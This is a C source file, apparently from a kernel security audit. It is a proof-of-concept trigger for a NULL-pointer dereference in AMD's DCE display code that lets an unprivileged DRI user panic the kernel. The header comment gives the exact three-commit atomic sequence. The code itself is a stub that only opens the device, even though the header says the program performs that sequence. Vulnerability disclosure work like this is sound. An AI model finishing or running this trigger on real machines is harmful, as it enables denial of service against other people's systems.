DF-3946 / trigger_dce110_headplane.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* DF-3946 trigger — dce110_apply_ctx_for_surface NULL plane_state deref * * Unprivileged DRI user -> kernel NULL-deref panic on AMD pre-DCN10 ASICs * (DCE80/100/110/112/120 all share dce110_apply_ctx_for_surface). * * Scenario (any KMS-capable process holding /dev/dri/cardN, 0660 root:video): * 1. Enable two planes on one CRTC: PRIMARY (becomes the head pipe) and * OVERLAY (becomes the bottom pipe). (Step A below.) * 2. In one atomic commit: disable the PRIMARY plane, keep the OVERLAY * plane and the CRTC active. amdgpu_dm_atomic_check -> * dm_update_planes_state -> dc_remove_plane_from_context() * [core/dc_resource.c:1466-1467] detaches the head pipe's plane: * if (!pipe_ctx->top_pipe) { pipe_ctx->plane_state = NULL; * pipe_ctx->bottom_pipe = NULL; } * while pipe_ctx->stream stays set. The DM atomic state now holds a * context whose head pipe has stream != NULL && plane_state == NULL. * 3. amdgpu_dm_atomic_commit_tail -> dc_commit_state(dm->dc, dc_state) * [amdgpu_dm.c:4837] -> for each !mode_changed stream: * dc->hwss.apply_ctx_for_surface(dc, stream, plane_count=1, context) * [core/dc.c:956] -> dce110_apply_ctx_for_surface() walks ALL pipes * whose ->stream == stream [dce110_hw_sequencer.c:2743-2757] INCLUDING * the head pipe with plane_state == NULL -> * dce110_program_front_end_for_pipe() -> set_default_colors() -> * pipe_ctx->plane_state->color_space [dce110_hw_sequencer.c:2100] * => read from address ~0xd0 => kernel page-fault panic. * * (Sibling code guards exactly this state: core/dc.c:1521 * `if (!pipe_ctx->plane_state) continue;` and * dcn10_hw_sequencer.c:2386 `if (!pipe_ctx->plane_state && ...)`.) * * This program performs the raw DRM_IOCTL_MODE_ATOMIC sequence of step 2/3. * It needs a real AMD GPU with the DC stack; on the audit QEMU guest there * is no display adapter, so this is a hardware-gated trigger (compile-only * verification here). * * Build: cc -O2 -o trigger_dce110_headplane trigger_dce110_headplane.c * Run (on hardware): ./trigger_dce110_headplane /dev/dri/card0 * Expected: instant kernel panic ("kernel: page fault") in * set_default_colors/dce110_program_front_end_for_pipe. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* ---- minimal local DRM uapi (values are ABI-stable, from drm_mode.h) ---- */ #define DRM_IOCTL_BASE 'd' #define DRM_IO(nr) _IO(DRM_IOCTL_BASE,nr) #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) struct local_drm_mode_obj_props { uint32_t props_id; uint32_t count_props; }; struct local_drm_mode_atomic { uint32_t flags; uint32_t count_objs; uint32_t *objs_ptr; uint32_t *count_props_ptr; uint32_t *props_ptr; uint64_t *prop_values_ptr; uint64_t user_data; }; #define LOCAL_DRM_MODE_PAGE_FLIP_EVENT 1 #define LOCAL_DRM_MODE_ATOMIC_TEST_ONLY (1 << 0) #define LOCAL_DRM_MODE_ATOMIC_NONBLOCK (1 << 1) #define LOCAL_DRM_MODE_ATOMIC_ALLOW_MODESET (1 << 2) /* DRM_IOCTL_MODE_ATOMIC = 0xc06464b6 (64-byte struct, nr 0xb6) */ #define LOCAL_DRM_IOCTL_MODE_ATOMIC \ _IOWR(0x64, 0xb6, struct local_drm_mode_atomic) /* DRM_IOCTL_MODE_GETPLANERESOURCES nr 0x35 */ struct local_drm_mode_card_res_planeres { uint32_t *plane_id_ptr; uint32_t count_planes; }; #define LOCAL_DRM_IOCTL_MODE_GETPLANERESOURCES \ _IOWR(0x64, 0x35, struct local_drm_mode_card_res_planeres) static int atomic_commit(int fd, uint32_t *objs, uint32_t *counts, uint32_t *props, uint64_t *values, uint32_t nobjs, uint32_t flags) { struct local_drm_mode_atomic a; memset(&a, 0, sizeof(a)); a.flags = flags; a.count_objs = nobjs; a.objs_ptr = objs; a.count_props_ptr = counts; a.props_ptr = props; a.prop_values_ptr = values; return ioctl(fd, LOCAL_DRM_IOCTL_MODE_ATOMIC, &a); } /* * Full orchestration needs libdrm property discovery (CRTC_ID/FB_ID of the * primary + overlay planes). The property names used: * plane: "CRTC_ID", "FB_ID", "CRTC_X/Y/W/H", "SRC_*" * crtc : "ACTIVE", "MODE_ID" * Sequencer: * commit A (ALLOW_MODESET): primary+overlay both on, crtc active. * commit B (ALLOW_MODESET): primary CRTC_ID=0 (off), overlay stays on, * crtc stays active -> NULL head plane_state. * commit C (ALLOW_MODESET): touch any other connector/CRTC (or re-apply * B) so commit_tail runs dc_commit_state -> * apply_ctx_for_surface(stream, plane_count=1) * -> NULL deref in set_default_colors(). */ int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s): %s (no display adapter on this guest — " "hardware-gated trigger, see README.md)\n", dev, strerror(errno)); return (2); } printf("card opened; run the 3-commit sequence described in the " "header comment via libdrm property atoms\n"); close(fd); return (0); } |